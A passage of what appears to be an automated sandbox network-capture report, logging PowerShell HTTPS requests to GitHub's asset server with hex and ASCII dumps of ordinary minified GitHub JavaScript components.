2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 27 5b 72 6f 6c 65 3d 22 6f 70 74 69 6f 6e 22 5d 3a 6e 6f 74 28 5b 69 64 5d 29 27 29 29 65 2e 69 64 3d 60 24 7b 74 68 69 73 2e 72 65 73 75 6c 74 73 2e 69 64 7d 2d 6f 70 74 69 6f 6e 2d 24 7b 74 2b 2b 7d 60 7d 75 70 64 61 74 65 46 65 65 64 62 61 63 6b 46 6f 72 53 63 72 65 65 6e 52 65 61 64 65 72 73 28 74 29 7b 73 65 74 54 69 6d 65 6f 75 74 28 28 29 3d 3e 7b 74 68 69 73 2e 66 65 65 64 62 61 63 6b 26 26 28 74 68 69 73 2e 66 65 65 64 62 61 63 6b 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 74 29 7d 2c 72 29 7d 66 65 74 63 68 52 65 73 75 6c 74 73 28 29 7b 6c 65 74 20 74 3d 74 68 69 73 2e 69 6e 70 75 74 2e 76 61 6c 75 65 2e 74 72 69 6d 28 29 3b 69 66 28 21 74 26 26 21 74 68 69 73 2e 63 6f 6e 74 61 69 6e 65 72 2e 66 65 74 63 68 4f Data Ascii: ySelectorAll('[role="option"]:not([id])'))e.id=`${this.results.id}-option-${t++}`}updateFeedbackForScreenReaders(t){setTimeout(()=>{this.feedback&&(this.feedback.textContent=t)},r)}fetchResults(){let t=this.input.value.trim();if(!t&&!this.container.fetchO
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 73 2e 63 6f 6e 74 61 69 6e 65 72 2e 6f 70 65 6e 3d 21 30 2c 74 68 69 73 2e 69 6e 74 65 72 61 63 74 69 6e 67 57 69 74 68 4c 69 73 74 3d 21 30 7d 63 6c 6f 73 65 28 29 7b 28 74 68 69 73 2e 72 65 73 75 6c 74 73 2e 70 6f 70 6f 76 65 72 3f 74 68 69 73 2e 72 65 73 75 6c 74 73 2e 6d 61 74 63 68 65 73 28 22 3a 70 6f 70 6f 76 65 72 2d 6f 70 65 6e 22 29 3a 21 74 68 69 73 2e 72 65 73 75 6c 74 73 2e 68 69 64 64 65 6e 29 26 26 28 74 68 69 73 2e 63 6f 6d 62 6f 62 6f 78 2e 73 74 6f 70 28 29 2c 74 68 69 73 2e 72 65 73 75 6c 74 73 2e 70 6f 70 6f 76 65 72 3f 74 68 69 73 2e 72 65 73 75 6c 74 73 2e 68 69 64 65 50 6f 70 6f 76 65 72 28 29 3a 74 68 69 73 2e 72 65 73 75 6c 74 73 2e 68 69 64 64 65 6e 3d 21 30 29 2c 74 68 69 73 2e 63 6f 6e 74 61 69 6e 65 72 2e 6f 70 65 6e 3d 21 31 Data Ascii: s.container.open=!0,this.interactingWithList=!0}close(){(this.results.popover?this.results.matches(":popover-open"):!this.results.hidden)&&(this.combobox.stop(),this.results.popover?this.results.hidePopover():this.results.hidden=!0),this.container.open=!1
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 74 2c 65 29 7b 76 61 72 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 69 7d 3d 65 3b 73 75 70 65 72 28 74 2c 62 28 65 2c 5b 22 72 65 6c 61 74 65 64 54 61 72 67 65 74 22 5d 29 29 2c 74 68 69 73 2e 72 65 6c 61 74 65 64 54 61 72 67 65 74 3d 69 7d 7d 3b 6c 65 74 20 76 3d 6e 65 77 20 57 65 61 6b 4d 61 70 2c 66 3d 6e 75 6c 6c 3b 6c 65 74 20 61 75 74 6f 5f 63 6f 6d 70 6c 65 74 65 5f 65 6c 65 6d 65 6e 74 5f 41 75 74 6f 43 6f 6d 70 6c 65 74 65 45 6c 65 6d 65 6e 74 3d 63 6c 61 73 73 20 61 75 74 6f 5f 63 6f 6d 70 6c 65 74 65 5f 65 6c 65 6d 65 6e 74 5f 41 75 74 6f 43 6f 6d 70 6c 65 74 65 45 6c 65 6d 65 6e 74 20 65 78 74 65 6e 64 73 20 6d 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 73 75 70 65 72 28 2e 2e 2e 61 72 67 75 6d 65 6e 74 73 29 2c 61 2e 61 64 64 28 74 68 69 Data Ascii: t,e){var{relatedTarget:i}=e;super(t,b(e,["relatedTarget"])),this.relatedTarget=i}};let v=new WeakMap,f=null;let auto_complete_element_AutoCompleteElement=class auto_complete_element_AutoCompleteElement extends m{constructor(){super(...arguments),a.add(thi
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 29 7d 67 65 74 20 6f 70 65 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 6f 70 65 6e 22 29 7d 73 65 74 20 6f 70 65 6e 28 74 29 7b 74 3f 74 68 69 73 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6f 70 65 6e 22 2c 22 22 29 3a 74 68 69 73 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 6f 70 65 6e 22 29 7d 67 65 74 20 66 65 74 63 68 4f 6e 45 6d 70 74 79 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 66 65 74 63 68 2d 6f 6e 2d 65 6d 70 74 79 22 29 7d 73 65 74 20 66 65 74 63 68 4f 6e 45 6d 70 74 79 28 74 29 7b 74 68 69 73 2e 74 6f 67 67 6c 65 41 74 74 72 69 62 75 74 65 28 22 66 65 74 63 68 2d 6f 6e 2d 65 6d 70 74 79 22 2c 74 29 7d 61 73 79 6e 63 20 66 65 74 63 68 52 65 73 Data Ascii: )}get open(){return this.hasAttribute("open")}set open(t){t?this.setAttribute("open",""):this.removeAttribute("open")}get fetchOnEmpty(){return this.hasAttribute("fetch-on-empty")}set fetchOnEmpty(t){this.toggleAttribute("fetch-on-empty",t)}async fetchRes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49734	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:18 UTC	413	OUT	GET /assets/vendors-node_modules_github_relative-time-element_dist_index_js-6d3967acd51c.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:18 UTC	695	IN	HTTP/1.1 200 OK Connection: close Content-Length: 15461 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Mon, 16 Sep 2024 23:19:54 GMT ETag: "0x8DCD6A61268C08C" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:18 GMT Age: 1112681 X-Served-By: cache-iad-kcgs7200045-IAD, cache-ewr-kewr1740066-EWR X-Cache: HIT, HIT X-Cache-Hits: 27, 3 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 7004d2182c1a96dd6ddf75d20055536dd47fcb03
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 72 65 6c 61 74 69 76 65 2d 74 69 6d 65 2d 65 6c 65 6d 65 6e 74 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 22 5d 2c 7b 34 37 31 32 3a 28 74 2c 65 2c 69 29 3d 3e 7b 69 2e 64 28 65 2c 7b 61 6b 3a 28 29 3d 3e 5f 7d 29 3b 76 61 72 20 73 2c 61 2c 72 2c 6e 2c 6f 2c 68 2c 6c 2c 75 2c 6d 2c 64 2c 63 2c 66 2c 67 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 69 2c 73 2c 61 29 7b 69 66 28 22 6d 22 3d 3d 3d 73 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 50 72 Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_relative-time-element_dist_index_js"],{4712:(t,e,i)=>{i.d(e,{ak:()=>_});var s,a,r,n,o,h,l,u,m,d,c,f,g=function(t,e,i,s,a){if("m"===s)throw TypeError("Pr
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 6c 65 7c 7c 22 73 68 6f 72 74 22 29 3b 22 6c 6f 6e 67 22 21 3d 3d 69 26 26 22 73 68 6f 72 74 22 21 3d 3d 69 26 26 22 6e 61 72 72 6f 77 22 21 3d 3d 69 26 26 22 64 69 67 69 74 61 6c 22 21 3d 3d 69 26 26 28 69 3d 22 73 68 6f 72 74 22 29 3b 6c 65 74 20 61 3d 22 64 69 67 69 74 61 6c 22 3d 3d 3d 69 3f 22 6e 75 6d 65 72 69 63 22 3a 69 2c 72 3d 65 2e 68 6f 75 72 73 7c 7c 61 3b 61 3d 22 32 2d 64 69 67 69 74 22 3d 3d 3d 72 3f 22 6e 75 6d 65 72 69 63 22 3a 72 3b 6c 65 74 20 6e 3d 65 2e 6d 69 6e 75 74 65 73 7c 7c 61 3b 61 3d 22 32 2d 64 69 67 69 74 22 3d 3d 3d 6e 3f 22 6e 75 6d 65 72 69 63 22 3a 6e 3b 6c 65 74 20 6f 3d 65 2e 73 65 63 6f 6e 64 73 7c 7c 61 3b 61 3d 22 32 2d 64 69 67 69 74 22 3d 3d 3d 6f 3f 22 6e 75 6d 65 72 69 63 22 3a 6f 3b 6c 65 74 20 68 3d 65 2e 6d Data Ascii: le\|\|"short");"long"!==i&&"short"!==i&&"narrow"!==i&&"digital"!==i&&(i="short");let a="digital"===i?"numeric":i,r=e.hours\|\|a;a="2-digit"===r?"numeric":r;let n=e.minutes\|\|a;a="2-digit"===n?"numeric":n;let o=e.seconds\|\|a;a="2-digit"===o?"numeric":o;let h=e.m
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 3d 61 3f 22 73 68 6f 72 74 22 3a 61 7d 29 2e 66 6f 72 6d 61 74 54 6f 50 61 72 74 73 28 65 29 7d 66 6f 72 6d 61 74 28 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 66 6f 72 6d 61 74 54 6f 50 61 72 74 73 28 74 29 2e 6d 61 70 28 74 3d 3e 74 2e 76 61 6c 75 65 29 2e 6a 6f 69 6e 28 22 22 29 7d 7d 3b 73 3d 6e 65 77 20 57 65 61 6b 4d 61 70 3b 6c 65 74 20 76 3d 2f 5e 5b 2d 2b 5d 3f 50 28 3f 3a 28 5c 64 2b 29 59 29 3f 28 3f 3a 28 5c 64 2b 29 4d 29 3f 28 3f 3a 28 5c 64 2b 29 57 29 3f 28 3f 3a 28 5c 64 2b 29 44 29 3f 28 3f 3a 54 28 3f 3a 28 5c 64 2b 29 48 29 3f 28 3f 3a 28 5c 64 2b 29 4d 29 3f 28 3f 3a 28 5c 64 2b 29 53 29 3f 29 3f 24 2f 2c 4d 3d 5b 22 79 65 61 72 22 2c 22 6d 6f 6e 74 68 22 2c 22 77 65 65 6b 22 2c 22 64 61 79 22 2c 22 68 6f 75 72 22 2c 22 6d 69 6e 75 Data Ascii: =a?"short":a}).formatToParts(e)}format(t){return this.formatToParts(t).map(t=>t.value).join("")}};s=new WeakMap;let v=/^[-+]?P(?:(\d+)Y)?(?:(\d+)M)?(?:(\d+)W)?(?:(\d+)D)?(?:T(?:(\d+)H)?(?:(\d+)M)?(?:(\d+)S)?)?$/,M=["year","month","week","day","hour","minu
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 72 69 6e 67 28 74 29 2e 74 72 69 6d 28 29 2c 73 3d 69 2e 73 74 61 72 74 73 57 69 74 68 28 22 2d 22 29 3f 2d 31 3a 31 2c 61 3d 6e 75 6c 6c 3d 3d 3d 28 65 3d 69 2e 6d 61 74 63 68 28 76 29 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 73 6c 69 63 65 28 31 29 2e 6d 61 70 28 74 3d 3e 28 4e 75 6d 62 65 72 28 74 29 7c 7c 30 29 2a 73 29 3b 72 65 74 75 72 6e 20 61 3f 6e 65 77 20 44 75 72 61 74 69 6f 6e 28 2e 2e 2e 61 29 3a 6e 65 77 20 44 75 72 61 74 69 6f 6e 7d 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 74 29 7b 6c 65 74 7b 79 65 61 72 73 3a 65 2c 6d 6f 6e 74 68 73 3a 69 2c 77 65 65 6b 73 3a 73 2c 64 61 79 73 3a 61 2c 68 6f 75 72 73 3a 72 2c 6d 69 6e 75 74 65 73 3a 6e 2c 73 65 63 6f 6e 64 73 3a 6f 2c 6d 69 6c 6c 69 73 65 63 Data Ascii: ring(t).trim(),s=i.startsWith("-")?-1:1,a=null===(e=i.match(v))\|\|void 0===e?void 0:e.slice(1).map(t=>(Number(t)\|\|0)*s);return a?new Duration(...a):new Duration}if("object"==typeof t){let{years:e,months:i,weeks:s,days:a,hours:r,minutes:n,seconds:o,millisec
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 65 74 44 61 74 65 28 29 3b 69 66 28 6e 3e 3d 32 37 7c 7c 73 2b 61 2b 6e 29 7b 6c 65 74 20 74 3d 6e 65 77 20 44 61 74 65 28 65 29 3b 74 2e 73 65 74 44 61 74 65 28 31 29 2c 74 2e 73 65 74 4d 6f 6e 74 68 28 64 2b 61 2a 69 2b 31 29 2c 74 2e 73 65 74 44 61 74 65 28 30 29 3b 6c 65 74 20 6f 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 63 2d 74 2e 67 65 74 44 61 74 65 28 29 29 2c 68 3d 6e 65 77 20 44 61 74 65 28 65 29 3b 68 2e 73 65 74 46 75 6c 6c 59 65 61 72 28 6d 2b 73 2a 69 29 2c 68 2e 73 65 74 44 61 74 65 28 63 2d 6f 29 2c 68 2e 73 65 74 4d 6f 6e 74 68 28 64 2b 61 2a 69 29 2c 68 2e 73 65 74 44 61 74 65 28 63 2d 6f 2b 6e 2a 69 29 3b 6c 65 74 20 6c 3d 68 2e 67 65 74 46 75 6c 6c 59 65 61 72 28 29 2d 65 2e 67 65 74 46 75 6c 6c 59 65 61 72 28 29 2c 75 3d 68 2e 67 65 74 4d Data Ascii: etDate();if(n>=27\|\|s+a+n){let t=new Date(e);t.setDate(1),t.setMonth(d+ai+1),t.setDate(0);let o=Math.max(0,c-t.getDate()),h=new Date(e);h.setFullYear(m+si),h.setDate(c-o),h.setMonth(d+ai),h.setDate(c-o+ni);let l=h.getFullYear()-e.getFullYear(),u=h.getM
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 74 72 75 63 74 6f 72 28 74 2c 65 2c 69 2c 73 29 7b 73 75 70 65 72 28 22 72 65 6c 61 74 69 76 65 2d 74 69 6d 65 2d 75 70 64 61 74 65 64 22 2c 7b 62 75 62 62 6c 65 73 3a 21 30 2c 63 6f 6d 70 6f 73 65 64 3a 21 30 7d 29 2c 74 68 69 73 2e 6f 6c 64 54 65 78 74 3d 74 2c 74 68 69 73 2e 6e 65 77 54 65 78 74 3d 65 2c 74 68 69 73 2e 6f 6c 64 54 69 74 6c 65 3d 69 2c 74 68 69 73 2e 6e 65 77 54 69 74 6c 65 3d 73 7d 7d 3b 66 75 6e 63 74 69 6f 6e 20 43 28 74 29 7b 69 66 28 21 74 2e 64 61 74 65 29 72 65 74 75 72 6e 20 31 2f 30 3b 69 66 28 22 64 75 72 61 74 69 6f 6e 22 3d 3d 3d 74 2e 66 6f 72 6d 61 74 7c 7c 22 65 6c 61 70 73 65 64 22 3d 3d 3d 74 2e 66 6f 72 6d 61 74 29 7b 6c 65 74 20 65 3d 74 2e 70 72 65 63 69 73 69 6f 6e 3b 69 66 28 22 73 65 63 6f 6e 64 22 3d 3d 3d 65 29 Data Ascii: tructor(t,e,i,s){super("relative-time-updated",{bubbles:!0,composed:!0}),this.oldText=t,this.newText=e,this.oldTitle=i,this.newTitle=s}};function C(t){if(!t.date)return 1/0;if("duration"===t.format\|\|"elapsed"===t.format){let e=t.precision;if("second"===e)
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 6f 6e 64 22 2c 22 6d 69 6e 75 74 65 22 2c 22 68 6f 75 72 22 2c 22 77 65 65 6b 64 61 79 22 2c 22 64 61 79 22 2c 22 6d 6f 6e 74 68 22 2c 22 79 65 61 72 22 2c 22 74 69 6d 65 2d 7a 6f 6e 65 2d 6e 61 6d 65 22 2c 22 70 72 65 66 69 78 22 2c 22 74 68 72 65 73 68 6f 6c 64 22 2c 22 74 65 6e 73 65 22 2c 22 70 72 65 63 69 73 69 6f 6e 22 2c 22 66 6f 72 6d 61 74 22 2c 22 66 6f 72 6d 61 74 2d 73 74 79 6c 65 22 2c 22 6e 6f 2d 74 69 74 6c 65 22 2c 22 64 61 74 65 74 69 6d 65 22 2c 22 6c 61 6e 67 22 2c 22 74 69 74 6c 65 22 5d 7d 67 65 74 20 6f 6e 52 65 6c 61 74 69 76 65 54 69 6d 65 55 70 64 61 74 65 64 28 29 7b 72 65 74 75 72 6e 20 41 28 74 68 69 73 2c 66 2c 22 66 22 29 7d 73 65 74 20 6f 6e 52 65 6c 61 74 69 76 65 54 69 6d 65 55 70 64 61 74 65 64 28 74 29 7b 41 28 74 68 69 Data Ascii: ond","minute","hour","weekday","day","month","year","time-zone-name","prefix","threshold","tense","precision","format","format-style","no-title","datetime","lang","title"]}get onRelativeTimeUpdated(){return A(this,f,"f")}set onRelativeTimeUpdated(t){A(thi
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 3d 3d 65 7c 7c 22 73 68 6f 72 74 22 3d 3d 3d 65 7c 7c 22 6c 6f 6e 67 22 3d 3d 3d 65 7c 7c 22 6e 61 72 72 6f 77 22 3d 3d 3d 65 29 29 72 65 74 75 72 6e 20 65 7d 73 65 74 20 6d 6f 6e 74 68 28 74 29 7b 74 68 69 73 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6d 6f 6e 74 68 22 2c 74 7c 7c 22 22 29 7d 67 65 74 20 79 65 61 72 28 29 7b 76 61 72 20 74 3b 6c 65 74 20 65 3d 74 68 69 73 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 79 65 61 72 22 29 3b 72 65 74 75 72 6e 22 6e 75 6d 65 72 69 63 22 3d 3d 3d 65 7c 7c 22 32 2d 64 69 67 69 74 22 3d 3d 3d 65 3f 65 3a 74 68 69 73 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 79 65 61 72 22 29 7c 7c 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 55 54 43 46 75 6c 6c 59 65 61 72 28 29 3d 3d 3d 28 6e 75 6c 6c 3d 3d 3d 28 74 3d 74 68 Data Ascii: ==e\|\|"short"===e\|\|"long"===e\|\|"narrow"===e))return e}set month(t){this.setAttribute("month",t\|\|"")}get year(){var t;let e=this.getAttribute("year");return"numeric"===e\|\|"2-digit"===e?e:this.hasAttribute("year")\|\|new Date().getUTCFullYear()===(null===(t=th
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 61 74 28 74 29 7b 74 68 69 73 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 66 6f 72 6d 61 74 22 2c 74 29 7d 67 65 74 20 66 6f 72 6d 61 74 53 74 79 6c 65 28 29 7b 6c 65 74 20 74 3d 74 68 69 73 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 66 6f 72 6d 61 74 2d 73 74 79 6c 65 22 29 3b 69 66 28 22 6c 6f 6e 67 22 3d 3d 3d 74 29 72 65 74 75 72 6e 22 6c 6f 6e 67 22 3b 69 66 28 22 73 68 6f 72 74 22 3d 3d 3d 74 29 72 65 74 75 72 6e 22 73 68 6f 72 74 22 3b 69 66 28 22 6e 61 72 72 6f 77 22 3d 3d 3d 74 29 72 65 74 75 72 6e 22 6e 61 72 72 6f 77 22 3b 6c 65 74 20 65 3d 74 68 69 73 2e 66 6f 72 6d 61 74 3b 72 65 74 75 72 6e 22 65 6c 61 70 73 65 64 22 3d 3d 3d 65 7c 7c 22 6d 69 63 72 6f 22 3d 3d 3d 65 3f 22 6e 61 72 72 6f 77 22 3a 22 64 61 74 65 74 69 6d 65 22 3d 3d 3d 65 Data Ascii: at(t){this.setAttribute("format",t)}get formatStyle(){let t=this.getAttribute("format-style");if("long"===t)return"long";if("short"===t)return"short";if("narrow"===t)return"narrow";let e=this.format;return"elapsed"===e\|\|"micro"===e?"narrow":"datetime"===e
2024-09-30 13:50:18 UTC	1378	IN	Data Raw: 67 65 74 54 69 6d 65 28 29 2d 69 3b 69 66 28 30 3d 3d 3d 73 29 72 65 74 75 72 6e 20 6e 65 77 20 44 75 72 61 74 69 6f 6e 3b 6c 65 74 20 61 3d 4d 61 74 68 2e 73 69 67 6e 28 73 29 2c 72 3d 4d 61 74 68 2e 61 62 73 28 73 29 2c 6e 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 72 2f 31 65 33 29 2c 6f 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 6e 2f 36 30 29 2c 68 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 6f 2f 36 30 29 2c 6c 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 68 2f 32 34 29 2c 75 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 6c 2f 33 30 29 2c 6d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 75 2f 31 32 29 2c 64 3d 4d 2e 69 6e 64 65 78 4f 66 28 65 29 7c 7c 4d 2e 6c 65 6e 67 74 68 3b 72 65 74 75 72 6e 20 6e 65 77 20 44 75 72 61 74 69 6f 6e 28 64 3e 3d 30 3f 6d 2a 61 3a 30 2c 64 3e 3d 31 3f 28 75 2d 31 32 Data Ascii: getTime()-i;if(0===s)return new Duration;let a=Math.sign(s),r=Math.abs(s),n=Math.floor(r/1e3),o=Math.floor(n/60),h=Math.floor(o/60),l=Math.floor(h/24),u=Math.floor(l/30),m=Math.floor(u/12),d=M.indexOf(e)\|\|M.length;return new Duration(d>=0?m*a:0,d>=1?(u-12

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	49737	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:19 UTC	413	OUT	GET /assets/vendors-node_modules_github_text-expander-element_dist_index_js-e40ed7658a74.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:19 UTC	694	IN	HTTP/1.1 200 OK Connection: close Content-Length: 14361 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Wed, 25 Sep 2024 15:49:05 GMT ETag: "0x8DCDD7995CD5903" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 326840 Date: Mon, 30 Sep 2024 13:50:19 GMT X-Served-By: cache-iad-kiad7000065-IAD, cache-ewr-kewr1740032-EWR X-Cache: HIT, HIT X-Cache-Hits: 13, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: a24a1febc79d41dc2e876cafb43b7d99b2442ec5
2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 74 65 78 74 2d 65 78 70 61 6e 64 65 72 2d 65 6c 65 6d 65 6e 74 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 22 5d 2c 7b 38 31 30 32 38 3a 28 29 3d 3e 7b 6c 65 74 20 43 6f 6d 62 6f 62 6f 78 3d 63 6c 61 73 73 20 43 6f 6d 62 6f 62 6f 78 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 74 2c 69 2c 7b 74 61 62 49 6e 73 65 72 74 73 53 75 67 67 65 73 74 69 6f 6e 73 3a 6e 2c 64 65 66 61 75 6c 74 46 69 72 73 74 4f 70 74 69 6f 6e 3a 73 2c 73 63 72 6f 6c 6c 49 6e 74 6f 56 69 Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_text-expander-element_dist_index_js"],{81028:()=>{let Combobox=class Combobox{constructor(t,i,{tabInsertsSuggestions:n,defaultFirstOption:s,scrollIntoVi
2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 6c 65 61 72 53 65 6c 65 63 74 69 6f 6e 28 29 7d 29 28 74 2c 74 68 69 73 29 2c 74 68 69 73 2e 69 6e 70 75 74 48 61 6e 64 6c 65 72 3d 74 68 69 73 2e 63 6c 65 61 72 53 65 6c 65 63 74 69 6f 6e 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 72 6f 6c 65 22 2c 22 63 6f 6d 62 6f 62 6f 78 22 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 63 6f 6e 74 72 6f 6c 73 22 2c 69 2e 69 64 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 65 78 70 61 6e 64 65 64 22 2c 22 66 61 6c 73 65 22 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 22 2c 22 6c 69 73 74 22 29 2c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 68 61 73 70 6f Data Ascii: learSelection()})(t,this),this.inputHandler=this.clearSelection.bind(this),t.setAttribute("role","combobox"),t.setAttribute("aria-controls",i.id),t.setAttribute("aria-expanded","false"),t.setAttribute("aria-autocomplete","list"),t.setAttribute("aria-haspo
2024-09-30 13:50:19 UTC	1378	IN	Data Raw: 69 6f 6e 26 26 28 6e 75 6c 6c 3d 3d 3d 28 74 3d 41 72 72 61 79 2e 66 72 6f 6d 28 74 68 69 73 2e 6c 69 73 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 27 5b 72 6f 6c 65 3d 22 6f 70 74 69 6f 6e 22 5d 3a 6e 6f 74 28 5b 61 72 69 61 2d 64 69 73 61 62 6c 65 64 3d 22 74 72 75 65 22 5d 29 27 29 29 2e 66 69 6c 74 65 72 28 69 29 5b 30 5d 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 7c 7c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 63 6f 6d 62 6f 62 6f 78 2d 6f 70 74 69 6f 6e 2d 64 65 66 61 75 6c 74 22 2c 22 74 72 75 65 22 29 29 7d 6e 61 76 69 67 61 74 65 28 74 3d 31 29 7b 6c 65 74 20 65 3d 41 72 72 61 79 2e 66 72 6f 6d 28 74 68 69 73 2e 6c 69 73 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 27 5b 61 72 69 61 2d 73 65 6c 65 63 74 Data Ascii: ion&&(null===(t=Array.from(this.list.querySelectorAll('[role="option"]:not([aria-disabled="true"])')).filter(i)[0])\|\|void 0===t\|\|t.setAttribute("data-combobox-option-default","true"))}navigate(t=1){let e=Array.from(this.list.querySelectorAll('[aria-select
